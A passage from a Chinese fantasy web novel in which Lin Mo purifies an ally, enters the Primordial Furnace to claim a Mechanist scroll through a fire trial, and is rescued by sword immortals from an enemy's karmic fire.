一点极其凝练、纯粹、带着苍茫守护与生命净化真意的暗金光芒,在他指尖跳跃!
那不是攻敌之矛,而是……点燃希望之种!
“薪火……燃秽!”
林默低喝,指尖那点暗金光芒,如同穿越时空的流星,无视萨鲁狂暴的拳风与死气,精准无比地点向他的——心口!
那里,是橘红生命之火与惨绿死气纠缠最烈、也最核心之处!
嗤——!
暗金光芒没入萨鲁胸膛的瞬间!
没有**,只有一声如同寒冰消融、春泉破土的轻响!
“呃啊啊啊——!!!”
萨鲁发出惊天动地的惨嚎!身体猛地僵直!
他体表的惨绿死气如同遇到克星,疯狂地沸腾、扭曲、试图反扑!但暗金光芒如同最纯净的火焰,所过之处,死气如雪消融!
更神奇的是,那被死气压制的、代表萨鲁本身的橘红生命之火,在暗金薪火的净化与守护下,如同被注入了全新的生机,猛地一振!
暗金、橘红,两种火焰并非对抗,而是产生了奇妙的共鸣与交融!
橘红火焰得到薪火加持,瞬间反扑,开始主动净化、驱逐体内的惨绿死气!
“吼……不……”萨鲁眼中的惨绿迅速褪去,赤红重新占据主导,但狂暴未消,那是被侵蚀后的痛苦与力量失控!
“压制他!给他时间!”渔火瞬间明了,九针银芒暴涨,化作道道流光,刺入萨鲁关节要穴,暂时封住其狂暴力量!
石崚的力场屏障稳稳护住林默,任由萨鲁在屏障内痛苦挣扎、嘶吼,橘红与暗金的光芒在他体内激烈交织、净化!
神庙深处,那“阴影”的毁灭心跳越来越响!整个神庙都在剧烈震动!碎石簌簌落下!
橘红光环急剧黯淡,边缘开始明灭不定!
“圣火……封印在崩溃!”长老全力催动骨杖晶石,橘红光芒死死顶住深处涌出的混乱异化能量,但嘴角已溢出鲜血!
“大块头!冰块脸!别光看着了!”阿离对着入口处虎视眈眈的圣律所和链锯屠夫喊道,“有本事等那大家伙出来一起玩啊!”
仿佛回应她的话!
咻!咻!咻!
数道炽白光束,如同审判之矛,精准地射向光环最黯淡的几处节点!正是圣律所捕捉到的“弱点”!
同时,链锯屠夫发出咆哮,骸骨巨爪再次探向光环,惨绿死气疯狂侵蚀!
“休想!”老铁头怒吼,锻造锤带着符文雷光,狠狠砸向链锯屠夫的骨爪!
墨灵操控璇玑木鸢,幽蓝能量束拦截圣律光束!
但圣律所攻击刁钻,璇玑拦截不及!
嗤嗤嗤!
数道光束成功穿透黯淡的光环节点,狠狠轰在神庙入口的石柱上!碎石纷飞!
光环剧烈闪烁,范围骤缩!
“光环能量……暴跌40%!防御效能……严重衰减!”墨灵急报。
“撑住!”石崚分心二用,一边维持护住林默的屏障,一边右脚猛地踏地!
“磐石·地脉加持!”
嗡!
一股浑厚的地脉之力涌入光环,暂时稳住其不溃散,但依旧岌岌可危!
就在这时!
“吼——!!!”
一声充满解脱与疲惫的咆哮从石崚的屏障内响起!
萨鲁眼中的赤红终于彻底驱散了惨绿!狂暴的气息如潮水般退去!
他庞大的身躯晃了晃,轰然单膝跪地,剧烈喘息。
体表死气尽消,橘红的油彩重新焕发出温暖的生命光泽,虽然虚弱,但神志已然清明!
他抬头看向林默,那曾经狂暴的眼中,此刻充满了感激与一种……对火焰的敬畏!
“谢……谢……”他用生涩的通用语说道。
林默收回手指,脸色微微发白,刚才的净化消耗巨大。但他丹田薪火,似乎因这次成功的净化守护,更加凝实了一丝!
“成了!”阿离欢呼。
但危机远未结
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束!
轰隆——!!!
神庙深处传来一声惊天动地的巨响!仿佛有什么东西彻底破碎了!
那毁灭性的“阴影”心跳声,骤然清晰了十倍!如同擂鼓般敲在每个人心头!
一股混合着金属锈蚀、机油焦糊与纯粹毁灭意志的恐怖冲击波,如同海啸般从通道深处喷涌而出!
橘红光环如同风中残烛,瞬间熄灭!
噗!
长老如遭重击,喷出一口鲜血,骨杖顶端的橘红晶**芒黯淡下去!
“封印……破了!”他声音悲怆。
无尽的黑暗与混乱的异化能量,如同决堤的洪水,瞬间吞噬了通道,并向外蔓延!
黑暗中,两点猩红如血的巨大电子眼骤然亮起!伴随着令人灵魂颤栗的金属摩擦与骨骼错位声!
一个由无数废弃机械、扭曲金属、甚至部分惨白骸骨强行糅合而成的、高达十丈的恐怖阴影,缓缓从黑暗中显露出它狰狞的轮廓!它每踏出一步,地面都在剧烈震颤!
“终极异化体……代号‘万机之孽’!威胁等级……灭世!”墨灵的声音带着前所未有的惊骇!
圣律骑士们也停止了攻击,冰冷的电子音响起:“检测到终极污染源……启动最高净化协议……目标锁定……”
链锯屠夫发出兴奋的嘶吼,竟不再攻击光环,而是转向那恐怖阴影,仿佛受到了更高阶的召唤!
前有灭世阴影!
后有圣律所与骸渊爪牙!
大地之民重伤!
萨鲁虚弱!
绝境!真正的绝境!
长老挣扎着站起,染血的手死死握住黯淡的骨杖,望向林默,眼中是最后的决绝。
“持火者……圣火本源……就在那孽物体内……被污染的核心深处……”
“薪火……是最后的希望……”
“唤醒它……或者……与吾等……同葬于此!”
他猛地将手中骨杖抛向林默!
骨杖顶端的橘红晶石,在靠近林默的瞬间,竟微微亮起,传递出一股微弱却无比急切的呼唤!
林默一把接住骨杖!
嗡!
丹田内的暗金薪火,与骨杖晶石、更与那阴影体内被污染的橘红光源,产生了前所未有的、撕裂灵魂般的强烈共鸣!
破妄右眼金光穿透层层黑暗与扭曲的金属,死死锁定阴影胸腔深处!
那里,一团被浓稠暗绿死气与混乱异化能量包裹的、极其微弱的橘红光芒,如同风中残烛,正在疯狂地……向他发出求救的脉动!
地火之心!
它还在!它在呼唤薪火!
“我……听到了!”
林默握紧骨杖,仅存的右眼燃烧着不屈的金焰,暗金薪火在他体表升腾而起!
他一步踏出,越过屏障,直面那灭世般的恐怖阴影!
声音不大,却盖过了金属的轰鸣与毁灭的心跳:
“你的心……我收了!”
第二十一章 熔炉核心
“你的心……我收了!”
林默宣言如金铁交鸣,压过毁灭轰鸣!
暗金薪火在他体表烈烈升腾,手持大地长老的骨杖,橘红晶石与之共鸣,光芒刺破阴影!
万机之孽那对猩红巨眼猛地锁定这渺小却光芒夺目的身影!
“吼——!!!”
混杂着金属扭曲与骸骨摩擦的咆哮,带着纯粹的毁灭意志,化作实质的冲击波轰向林默!
“休想!”石崚如山挡在林默侧翼!
“搬山劲·镇岳!”
土黄罡气化作巨大山岳虚影,硬撼冲击波!
轰隆!气浪炸开!石崚闷哼**,山岳虚影崩碎!
“破烂!冲!”阿离离焱环赤金爆发,三道火凤盘旋而出,并非攻击巨孽本体,而是狠狠撞向其踏出的巨大金属脚掌!试图迟滞!
滋啦!赤金火焰在锈蚀金属上灼烧出大片焦痕!
“干扰有效!目标关节能量传导下降15%!”墨灵急报,璇玑木鸢射出数道高能粒子束,精准打击巨孽另一只脚踝的液压关节!
万机之孽庞大的身躯微微一晃!
就是这瞬间的迟滞!
林默破妄右眼金光如炬,锁定那被层层污秽包裹的橘红核心!骨杖晶石的共鸣化作清晰的路径!
“薪火……引路!”
他低喝,身随念动!暗金薪火包裹全身,如同逆流而上的流星,沿着骨杖指引的“共鸣之径”,悍然冲向那灭世阴影的胸口!
无数扭曲的金属触须、喷溅的腐蚀液滴、混乱的能量乱流,在他破妄视野中被精准规避!
“保护他!”渔火九针化作银网,绞碎数条扑向林默的金属触手!
老铁头怒吼着,符文锻造锤带着风雷砸向侧面袭来的链锯屠夫,将其暂时逼退!
“最高净化协议启动!目标:终极污染源!清除所有干扰单位!”
圣律所冰冷的声音响起!数道更加粗大的炽白审判光束,无差别地射向万机之孽,同时也将冲锋路径上的林默笼罩在内!
“卑鄙!”阿离怒骂,火凤回援拦截!
轰!轰!
光束被火凤抵消大半,但余波依旧扫中林默后背!
噗!
林默喷出一口鲜血,护体薪火剧烈摇曳!但他眼神毫不动摇,速度不减反增!借着**的冲击力,如同离弦之箭,一头撞进了万机之孽胸口那翻涌着暗绿死气与异化能量的破口!
“林默!”墨灵惊呼。
“他进去了!”石崚稳住身形,眼神凝重。
万机之孽发出更加狂暴的咆哮,胸口破口处能量剧烈沸腾,试图将入侵者碾碎同化!
圣律所光束持续轰击在它庞大的身躯上,炸开一个个巨大的金属坑洞!
链锯屠夫也疯狂攻击着巨孽的下肢,骸渊死气与异化能量激烈冲突!
外部混战升级!
内部,更是凶险绝伦!
林默感觉自己坠入了粘稠的金属沼泽!
无处不在的暗绿死气与混乱异化能量疯狂侵蚀着他的护体薪火,发出滋滋的消融声!巨大的压力从四面八方挤压而来,骨骼都在**!
破妄右眼金光穿透污浊,死死锁定那一点越来越近、却也被污染得越来越深的橘红光芒!
“坚持住……我来了!”林默在心中怒吼,丹田薪火不计代价地燃烧,抵抗着侵蚀!
骨杖顶端的橘红晶**芒大放,与那被囚禁的地火之心共鸣越来越强!
嗡!
一股微弱但坚韧的橘红光芒,艰难地穿透层层污秽,如同伸出的求救之手,与林默的薪火连接!
就在连接建立的瞬间!
轰!
一股庞大、混乱、充满无尽痛苦与毁灭欲望的负面洪流,顺着连接疯狂涌入林默的意识!
那是万机之孽被污染的核心意志!是无数机械亡魂的哀嚎与异化能量的疯狂!
“呃啊!”林默头痛欲裂,意识如同被亿**针穿刺!护体薪火瞬间黯淡!
“滚出去!”一个冰冷、扭曲、如同金属摩擦的意念在他脑海咆哮!
“不!”林默双目赤金,灵魂深处的不屈意志在洪流中如同礁石!“薪火……永燃!”
丹田内,那点暗金火种爆发出前所未有的光芒!苍茫守护、净化污秽、点燃生机的真意,化作一道坚韧的意志屏障!
同时,他紧握骨杖,将所有的意念与薪火之力,顺着那橘红的连接,反向灌注!
“醒来!”
“地火之心!”
“薪火……唤你归源!”
嗡——!!!
被污染的橘红光源猛地一颤!
一股源自大地血脉的、温暖而古老的生命脉动,微弱却顽强地,开始抵抗周围的污秽!
暗金的薪火之力,如同引路的星辰,融入那橘红的光芒!
橘红与暗金开始交融、旋转!
一个微小的、由纯净地火与守护薪火构成的漩涡,在污染核心处形成!
“滋嗷——!!!”
万机之孽发出前所未有的、充满痛苦与恐惧的尖啸!
它庞大的身躯剧烈抽搐、颤抖!胸口破口处,橘红与暗金的光芒透射而出!
“有效!核心污染源能量波动剧烈!异化指数下降!”墨灵捕捉到数据变化。
“攻击核心透光点!为林小子创造机会!”渔火厉喝,九针合一,化作一道凝练银芒,狠狠刺向那透出光芒的破口!
“搬山·破甲!”石崚凝聚全身力量,一拳轰出,土黄拳影紧随银针!
“离焱·焚烬!”阿离将离焱环剩余力量尽数爆发,赤金光柱轰向同一处!
轰!轰!轰!
三道力量精准命中破口!
本就混乱的核心区域,被这内外夹击彻底引爆!
万机之孽庞大的身躯猛地一僵!胸口被轰开一个巨大的空洞!
空洞深处!
林默的身影显现!
他浑身浴血,衣袍破碎,但右手,却死死按在一颗被橘红与暗金火焰包裹、正剧烈搏动、挣脱着最后污秽缠绕的、人头大小的橘红色晶体之上!
地火之心!
“成了?!”阿离惊喜。
但异变再生!
“警告!终极污染源核心失控!自毁协议启动!倒计时:10…9…8…”圣律所冰冷的电子音无情响起!
万机之孽体内残余的异化能量与死气,开始疯狂暴走、坍缩!一股毁灭性的气息急速攀升!
同时,被林默剥离地火之心的巨孽残躯,如同失去支撑,开始崩解!无数巨大的金属碎块带着毁灭能量,如同陨石般砸落!
“快出来!”石崚怒吼,冲向崩解的巨孽!
就在这时!
轰隆——!!!
众人脚下的神庙地面,猛地向下塌陷!
露出下方一个深不见底的、散发着炽热红光的巨大空洞!一股古老、狂暴、仿佛能熔炼万物的灼热气息,喷涌而出!
空洞底部,隐约可见一座由无数巨大齿轮、管道和未知金属构成的、如同山岳般的熔炉轮廓!炉心深处,一点沉寂的、却蕴含着毁天灭地威能的暗红光斑,正在缓缓亮起!
“源初熔炉?!”墨灵失声
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,“它被核心失控引爆了!”
“倒计时:5…4…”圣律所的计数如同丧钟!
“走!”林默抓着剧烈跳动的、尚未完全净化的地火之心,从巨孽崩解的胸口跃出!
石崚一把接住他,土黄罡气护住两人,朝着塌陷边缘急退!
“璇玑!最大推力!”墨灵操控木鸢,幽蓝尾焰喷射,帮助众人后撤!
轰!轰!轰!
万机之孽彻底崩解!毁灭性的能量冲击夹杂着无数金属碎片横扫四方!
圣律所的光束还在持续轰击!
链锯屠夫被一块巨大的金属残骸砸中,惨绿火星明灭不定!
众人险之又险地退到塌陷边缘!
“倒计时:1…0!”冰冷的电子音落下!
轰隆隆隆——!!!
源初熔炉深处那点暗红光斑,如同超新星般爆发!
无法形容的炽热洪流,混合着熔融的金属与狂暴的能量,如同苏醒的灭世巨兽,从地底深渊咆哮着喷涌而出!
瞬间吞噬了万机之孽的残骸、链锯屠夫、以及来不及完全撤离的数名圣律骑士!
炽热的光芒将整个昏暗的峡谷映照得如同炼狱!
“地脉护持!磐石守御!”石崚目眦欲裂,将全身力量注入脚下岩石,一层厚重的土黄护盾升起,死死挡在众人前方!
渔火、老铁头、阿离、墨灵也全力输出能量!
轰——!!!
毁灭洪流狠狠撞在护盾上!
护盾如同怒海中的孤舟,剧烈颤抖,光芒瞬间黯淡到极致!裂痕密布!
恐怖的高温与冲击力透过护盾传来,众人如同被投入熔炉,气血翻腾,口鼻溢血!
“撑住!”石崚嘴角鲜血直流,双臂肌肉虬张如龙!
就在护盾即将崩溃的刹那!
林默手中的地火之心,似乎感应到源初熔炉爆发的同源力量(尽管是毁灭性的),猛地一跳!
一股精纯的橘红光芒主动溢出,融入林默的暗金薪火!
嗡!
林默福至心灵,将融合了一丝地火本源的薪火之力,毫无保留地注入石崚的护盾!
橘红与暗金交织的光芒,瞬间修补了护盾裂痕,并在外层镀上了一层温暖却坚韧的火焰屏障!
滋啦!
毁灭洪流冲击在火焰屏障上,竟被这融合火焰中和、分流了一部分!
压力骤减!
“好小子!”石崚精神一振!
众人合力,硬生生在毁灭洪流中撑起了一片狭小的生存空间!
不知过了多久,仿佛一个世纪。
毁灭性的喷发终于开始减弱。
炽热洪流缓缓退去,露出下方被熔岩覆盖、一片狼藉的深坑。源初熔炉庞大的轮廓在熔岩中若隐若现,炉心暗红光斑沉寂下去,仿佛耗尽了力量。
圣律所损失惨重,残存的骑士在远处悬浮,冰冷的电子眼扫描着熔炉。
链锯屠夫不知所踪,可能已被熔毁。
大地之民长老在萨鲁搀扶下,看着熔岩中的熔炉,眼中充满复杂。
林默手中的地火之心,光芒也黯淡了许多,橘红中夹杂着一丝难以祛除的暗绿死气,净化并未彻底完成。
他抬头,破妄右眼穿透熔岩烟雾,死死锁定熔炉深处。
“源初熔炉……械宗密卷……”
“火种补全的契机……就在下面!”
“但……”
他看向残存的圣律所,又感受着地火之心内残余的死气,以及熔炉散发的危险气息。
“这熔炉……刚刚苏醒……又沉寂……”
“下一次喷发……何时?”
第二十二章 熔火试炼
熔岩流淌,蒸汽嘶鸣。
源初熔炉沉寂在深坑底部,暗红光斑微弱,如同沉睡巨兽的眼。
空气中残留着灼热与金属焦糊味,混合着圣律所残存骑士身上散发的冰冷机油气息。
“能量辐射指数……正在缓慢下降……但仍处于危险阈值。”墨灵操控璇玑扫描熔炉,“下次喷发时间……无法精确计算……概率模型显示……72小时内。”
“72小时?”阿离抹去脸上的烟灰,离焱环黯淡,“够不够那破烂找到东西?”
林默盘膝而坐,手中半净化的地火之心悬浮身前,一缕暗金薪火正小心翼翼地灼烧、净化着死气。
“死气侵蚀根深……强行剥离会伤及本源。”他声音带着疲惫与凝重,“需要时间……或更强的火源。”
他抬眼望向熔炉深处,破妄右眼穿透熔岩烟雾。
“械宗密卷……就在炉心核心区。”
“那里……也是整个熔炉能量流转的中枢。”
“风险……极大。”
石崚古铜色的皮肤上布满灼痕,气息沉稳如山。
“既到此,岂能空手?”
“我护你下去!”
渔火九针悬空,为众人梳理紊乱气息:“老朽与老铁守住入口,防宵小。”
他目光扫向远处悬浮的圣律所残部。
“明白!”老铁头挥舞锻造锤,符文流转,“这帮铁罐头敢靠近,老子锤扁他们!”
大地长老在萨鲁搀扶下走来,看着林默手中的地火之心,眼神复杂。
“持火者……圣火选择了你……”
“但阴影的污秽……也缠绕着它……”
他指向熔炉深处,声音苍老。
“源初熔炉……是‘械宗’锻造火种、熔炼万机之心。”
“其核心……亦是‘火元试炼’之地。”
“若你能经受熔炉之心的考验……或许……”
长老话音未落!
咻!咻!咻!
数道炽白光束毫无征兆地从峡谷上方阴影中射下!目标直指正在净化地火之心的林默!
角度刁钻,时机狠毒!
“圣律所!还有埋伏!”墨灵急呼,璇玑护盾瞬间展开!
但光束速度太快!且蕴含某种空间扭曲力场,竟穿透了护盾边缘!
“哼!”石崚反应如电,魁梧身躯横移,土黄罡气爆发!
轰!轰!
光束狠狠撞在罡气上,炸开刺目光团!石崚身形一晃,闷哼一声!
“亵渎者!交出圣火核心与熔炉权限!”冰冷电子音从上方传来!
只见峡谷峭壁的金属齿轮阴影中,数名银金战甲的圣律骑士如同壁虎般吸附其上,为首者战甲更加华丽,眼部晶体闪烁着冷酷的计算光芒。
“又是你们这帮阴魂不散的铁罐头!”阿离怒极,离焱环赤光再起!
“没时间纠缠!”渔火浑浊老眼厉芒一闪,“老铁!阿离!墨灵!挡住他们!”
“石崚!带林小子下去!快!”
“明白!”石崚毫不犹豫,一把抓住林默肩膀,“走!”
他右脚猛地踏地!
“搬山劲·裂渊!”
轰隆!
众人脚下本已脆弱的熔岩边缘,被硬生生震开一道向下的、倾斜的岩石通道!直通熔炉深处!
灼热气浪扑面而来!
“拦住他们!”圣律骑士首领冰冷下令!
炽白光束如同暴雨般射向通道入口!
“姑奶奶烧光你们!”阿离娇叱,赤金火凤冲天而起!
老铁头挥舞锻造锤,符文雷光炸裂,硬撼光束!
墨灵操控璇玑,干扰立场全开,扰乱锁定!
通道入口瞬间被激烈的能量碰撞淹没!
石崚护着林默,顶着灼热气浪,沿着岩石通道,急速向下冲入熔炉深处!
温度急剧升高!
四周是缓缓流淌的暗红熔岩,巨大的齿轮在熔岩中半沉半浮,缓缓转动,发出沉闷的轰鸣。空气扭曲,视线模糊。
“小心!”林默破妄右眼金光穿透热浪,猛地示警!
通道前方,熔岩中猛地跃出数个由熔融金属构成的、形态不定的“火元傀儡”!它们无声咆哮,带着炽热的高温,扑向两人!
“滚开!”石崚暴喝,左拳土黄罡气凝聚,一拳轰出!
轰!
当头的火元傀儡被轰得熔渣四溅,倒飞回熔岩!
但更多的傀儡从熔岩中跃出!它们似乎能吸收熔炉热量,被击碎后很快重组!
“它们受熔炉核心控制!能量不竭,不死不灭!”林默急道,“不能纠缠!”
他手中地火之心似乎感应到同源的火元之力,橘红光芒微微亮起。
林默心念一动,尝试将一缕融合了薪火意志的橘红光芒,射向扑来的一个火元傀儡!
嗡!
那傀儡动作猛地一滞!体表熔融的金属光泽中,竟浮现出极其微弱的橘红纹路!攻击动作也变得迟疑!
“有效!它们核心有微弱的械宗火元印记!”林默眼中精光一闪!
“石前辈!为我开路!我来安抚它们!”
“好!”石崚双拳齐出,土黄拳影如同重炮,将挡路的火元傀儡狠狠轰开,清出通道!
林默紧随其后,破妄右眼锁定每一个扑来的傀儡核心那微弱的火元印记,指尖融合薪火与地火的光芒精准点出!
嗤!
光芒没入,傀儡动作瞬间迟滞、迷茫,体表橘红纹路闪烁,不再攻击,反而
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如同护卫般稍稍退开!
两人配合默契,在熔岩通道中急速穿行,将拦路的火元傀儡一一“安抚”!
越深入,温度越高!压力越大!
林默的护体能量剧烈消耗,石崚的古铜皮肤也被烤得通红。
终于!
通道尽头,是一个巨大的、悬浮在熔岩湖上空的金属平台!
平台中心,矗立着一座由无数精密齿轮和能量管道环绕的、水晶般的棱柱体!
棱柱体内部,悬浮着一卷非金非玉、流淌着暗红光泽的金属卷轴!
“械宗密卷!”林默呼吸一窒!
但平台周围,熔岩沸腾!九尊高达数丈、完全由凝固的暗红火元晶核构成的巨型傀儡,如同沉默的守卫,矗立在平台边缘!它们眼中跳动着冰冷的暗红光芒,散发着远超之前傀儡的恐怖威压!
“终极守卫……能量层级……天灾!”林默破妄右眼传来刺痛预警!
“要拿密卷,必过此关!”石崚抹去汗水,土黄罡气催发到极致,“怎么打?”
林默凝视着那九尊守卫,又看向手中跳动的地火之心,最后目光落在中央的棱柱体上。
“它们……在守护密卷……也在守护熔炉核心……”
“或许……不是靠蛮力……”
他感受着地火之心与整个熔炉那微弱的共鸣,一个大胆的念头升起。
“石前辈,为我**!争取十息!”
“好!”石崚毫不犹豫,如山岳般挡在林默身前,直面那九尊开始苏醒的暗红守卫!
林默盘膝坐下,将地火之心置于身前。
他闭上双眼,仅存的右眼在眼皮下金光流转。
丹田内,暗金薪火前所未有的宁静燃烧,将融合的橘红地火本源,与源自碑灵“炎烬”的古老火种印记,三者合一!
一股苍茫、守护、净化、又带着一丝大地脉动的复合意志,顺着地火之心与熔炉的联系,如同最轻柔的触须,缓缓探向那水晶棱柱……以及其守护的械宗密卷!
“薪火……非掠夺……”
“愿承‘天工’之志……”
“燃文明之灯……守薪火不绝……”
他的意念,带着最纯粹的传承与守护之愿,无声地传递。
嗡——!!!
水晶棱柱,猛地亮起柔和的光芒!
那卷暗红金属密卷,仿佛被唤醒,表面流淌的光泽变得灵动!
九尊正欲扑向石崚的暗红守卫,动作骤然停滞!它们冰冷的电子眼中,暗红光芒剧烈闪烁,似乎在……挣扎?在……判断?
熔炉深处,那沉寂的暗红光斑,极其微弱地……跳动了一下。
仿佛沉睡了万古的心脏,被一缕微弱的火苗……轻轻触动。
第二十三章 火种重燃
熔炉核心,死寂被打破。
水晶棱柱光芒柔和,暗红密卷流淌灵光。九尊终极守卫眼中暗红光芒疯狂闪烁,如同陷入逻辑风暴的古老兵器。
林默的意念,如涓涓溪流,持续注入。
“薪火不绝……非为私欲……”
“愿承天工遗志……守此人间薪火……”
嗡——!
棱柱光芒大盛!一道纯粹由光构成的信息洪流,无视物理阻隔,瞬间涌入林默识海!
“啊!”林默闷哼,右眼金光暴涨!
无数破碎的画面、冰冷的公式、炽热的意志碎片轰然炸开!
【火元试炼·启!】
【验证:意志核心——‘守护’(契合度87.3%)】
【验证:火种本质——‘薪火’(残缺度62.1%,污染度7.8%)】
【验证:传承烙印——‘炎烬’(微弱,源自碑灵)】
【试炼内容:熔炉核心共鸣!】
【警告:外部威胁等级——‘致命’!】
【警告:火种残缺,强行共鸣风险——‘湮灭’!】
冰冷的械宗信息流中,夹杂着熔炉核心那微弱却清晰的脉动——一种古老、疲惫、带着伤痕的“意志”!
它在回应林默的“守护”之念!
“它在……帮我!”林默瞬间明悟!
平台边缘,九尊终极守卫眼中挣扎的暗红光芒,骤然熄灭!取而代之的,是纯粹的、温润的橘红光晕!如同沉睡的卫士被唤醒!
它们齐刷刷转向林默,单膝跪地!无声的忠诚!
“成了?!”石崚紧绷的肌肉微松,眼中闪过惊叹。
林默却脸色剧变!
“不好!上面!”
破妄右眼穿透层层岩壁!峡谷入口的阻击战场!
轰隆隆——!!!
恐怖的**声浪席卷而下!整个熔炉都在震颤!
“该死!这帮铁罐头疯了!”阿离的怒骂带着喘息和痛楚。
“能量过载!他们在……自爆核心!”墨灵的声音带着惊骇的电流杂音!
轰!轰!轰!
炽白的光团在峡谷入口接连炸开!恐怖的冲击波混合着空间碎片横扫!
“噗!”老铁头符文护盾破碎,喷血倒飞!
“离焱环!”阿离娇叱,赤金火凤哀鸣,被狂暴能量撕碎!
璇玑木鸢冒着黑烟坠落!
渔火九针齐颤,竭力稳住摇摇欲坠的入口岩壁,老脸煞白!
“为了……圣律!”冰冷的电子音在**中回荡!
最后一名圣律骑士,战甲破碎,核心暴露着刺眼白光,如同人形**,悍然冲向通道入口!
“拦住他!”渔火目眦欲裂!
但重伤的众人已无力阻拦!
那骑士带着毁灭的白光,直坠而下!目标——林默与密卷所在的平台!
“休想!”石崚须发皆张!怒吼如雷!
他魁梧身躯不退反进,迎着下坠的毁灭白光,冲天而起!
“搬山劲……”
土黄罡气以前所未有的强度爆发!在他身后凝聚成一座巍峨山岳虚影!山势厚重,仿佛承载大地之重!
“……镇山河!”
轰——!!!
石崚双拳齐出,悍然撞上自爆的圣律核心!
无法形容的巨响!
毁灭的白光与厚重的山岳虚影狠狠对撞!刺目的光芒瞬间吞噬了石崚的身影!恐怖的冲击波将下方熔岩湖都压得凹陷下去!
“石前辈!”林默心神剧震!
白光散尽。
石崚的身影从半空坠落,重重砸在金属平台上!他浑身焦黑,古铜色皮肤裂开无数血口,气息微弱,但那双眼睛依旧死死盯着上空!
那圣律骑士,已化为漫天金属碎屑!
代价惨重!通道入口被彻底炸塌!上方隔绝!
“咳咳……”石崚咳出血沫,挣扎着想站起,“快……试炼……”
林默双目赤红!强压下翻腾的心绪!试炼不能停!
他猛地将全部心神沉入识海!沟通那微弱脉动的熔炉核心!
“共鸣!”
嗡——!
水晶棱柱光芒炽烈!悬浮的械宗密卷剧烈震颤!一道暗红光柱从中射出,笼罩林默!
林默手中,那半净化的地火之心被光柱牵引,瞬间融入林默胸口!
“呃啊——!”
难以想象的剧痛席卷全身!仿佛亿万根烧红的钢针穿刺四肢百骸!熔炉核心那狂暴的、足以熔炼星辰的力量,顺着光柱疯狂涌入他残缺的薪火本源!
【核心共鸣开始!】
【火种淬炼中……】
【警告:残缺火种承受力不
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足!】
【警告:地火死气反噬!】
嗡!
林默体表,暗金薪火与橘红地火交织燃烧!但一丝丝惨绿的、充满污秽与诅咒的死气,如同跗骨之蛆,顺着能量流疯狂反扑!侵蚀他的经脉、意志!
“给我……滚开!”林默咆哮!破妄右眼金光几乎燃烧!
暗金薪火前所未有的沸腾!源自“炎烬”的古老意志碎片在共鸣中苏醒,化作不屈的咆哮!
“燃!”
轰!
薪火暴涨!带着纯粹的净化与守护意志,死死抵住死气的侵蚀!在熔炉核心狂暴力量的淬炼下,那残缺的火种本源,竟被强行锻打、压缩、提纯!一丝丝暗金色的、更加凝练精纯的火焰,在毁灭与新生中艰难诞生!
平台剧烈震动!熔岩湖沸腾!整个源初熔炉仿佛活了过来,发出低沉的轰鸣!
“他在……吸收熔炉核心的力量?!”渔火在入口废墟上骇然。
“不对!是共鸣!在淬炼他的火种!”墨灵看着分析仪上疯狂跳动的数据,“但死气……太顽固了!”
“林小子!撑住!”老铁头嘶吼。
就在这时!
嗤啦——!
一道刺耳的空间撕裂声,突兀地响起!
就在熔炉核心平台正上方的虚空,毫无征兆地被撕开一道巨大的、流淌着粘稠恒河淤泥气息的裂缝!
一只枯瘦、覆盖着湿滑黄泥、指甲尖锐如爪的手,缓缓从裂缝中探出!
紧接着,是包裹在污秽黄布中的身影。
迦楼罗!
他悬浮在裂缝边缘,恒河淤泥的气息如同实质的毒瘴弥漫开来,瞬间污染了灼热的空气。冰冷、阴鸷、带着非人神性的目光,穿透空间,牢牢锁定了光柱中的林默和他身前悬浮的械宗密卷。
“湿婆……终临……”
嘶哑、带着多重回音的低语,如同亿万亡魂的哀嚎,灌入每个人的耳膜!
“亵渎神火的异端……”
“窃取神赐械骸的窃贼……”
“当受……焚身业火!”
他缓缓抬起那只枯爪般的右手。
掌心,一点惨绿、幽暗、仿佛能吞噬一切光明的火焰,无声燃起。
那不是骸渊的惨绿火星,而是更古老、更纯粹、带着毁灭神权意志的——焚身业火!
第二十四章 业火焚身
迦楼罗掌心,惨绿幽暗的焚身业火无声跳跃。
恒河淤泥的腐朽气息与毁灭神性的威压,如同实质的泥沼,瞬间淹没了整个熔炉核心平台!
重伤的石崚呼吸一窒,连熔炉的灼热都被这阴冷粘腻的恐怖压制!
“异端……焚尽!”迦楼罗嘶哑低语,枯爪微扬!
那一点惨绿业火,骤然膨胀!
化作一道无声咆哮的、扭曲空间的惨绿火流,带着焚灭灵魂、消融万物的神罚意志,直扑光柱中淬炼的林默!
快!狠!绝!
时机毒辣到极致!
林默正值淬炼关键,薪火与死气激烈拉锯,熔炉核心力量狂暴灌体,根本无从分心闪避!
石崚目眦欲裂,挣扎欲起,却牵动伤势,鲜血狂喷!
渔火等人远在崩塌的入口废墟,鞭长莫及!
眼看那焚身业火就要将林默连同械宗密卷一同吞噬!
“摩诃……”
迦楼罗的梵语真言只吐出半截!
嗤啦——!
一道比焚身业火更快、更冷冽、更纯粹的青色剑光,毫无征兆地撕裂了熔炉上方另一侧的空间!
剑光如九天垂落的清泉,带着涤荡尘寰、洗净污秽的凛冽剑意,后发先至!
铮——!
清越剑鸣响彻熔炉!
那青色剑光精准无比地点在焚身业火的火流尖端!
没有惊天**,只有一种更高层次的规则碰撞!
惨绿业火如同遇到克星,发出滋滋的湮灭声,狂暴的火流竟被这一剑硬生生钉在半空!
青绿两色光芒疯狂侵蚀、湮灭!
“谁?!”迦楼罗黄布下的面孔首次剧变!
虚空裂缝中,霜白衣袍翻飞。
谢清徵踏剑光而出,身姿清逸如谪仙临尘。他左手依旧托着那只洗剑葫,右手并指如剑,指尖青芒吞吐,正是那钉住业火的一剑之源!
他目光温润,却带着洞穿虚妄的剑意,扫过迦楼罗,最终落在光柱中承受淬炼的林默身上。
“湿婆神拳……焚身业火?”
“好大的煞气。”
他声音平静,却字字如剑鸣,将那恒河淤泥的污秽气息都逼退三分。
“蜀山……谢清徵!”迦楼罗声音带着一丝惊怒与忌惮,“你要阻湿婆神威?!”
“神威?”谢清徵微微摇头,指尖青芒更盛,将那惨绿业火死死抵住,寸步难进。
“不问苍生问鬼神,视人命如草芥,此等‘神威’,不阻……难道还要助纣为虐?”
他话语平淡,却蕴含着蜀山剑仙守护人间的浩然正气!
“狂妄!”迦楼罗暴怒,恒河淤泥气息暴涨!枯爪再挥!
“阿耆尼·焚身!”
嗡!
被钉住的惨绿业火猛地爆开!
化作无数细小的、扭曲的惨绿火蛇,绕过青色剑光的封锁,从四面八方噬向林默!
“哼。”一声清冷如冰玉相击的冷哼,突兀响起。
并非来自谢清徵!
熔炉平台上空,温度骤降!连沸腾的熔岩都瞬间凝结出一层白霜!
一道孤高清冷的月白身影,不知何时已悬于平台之上。云无月!
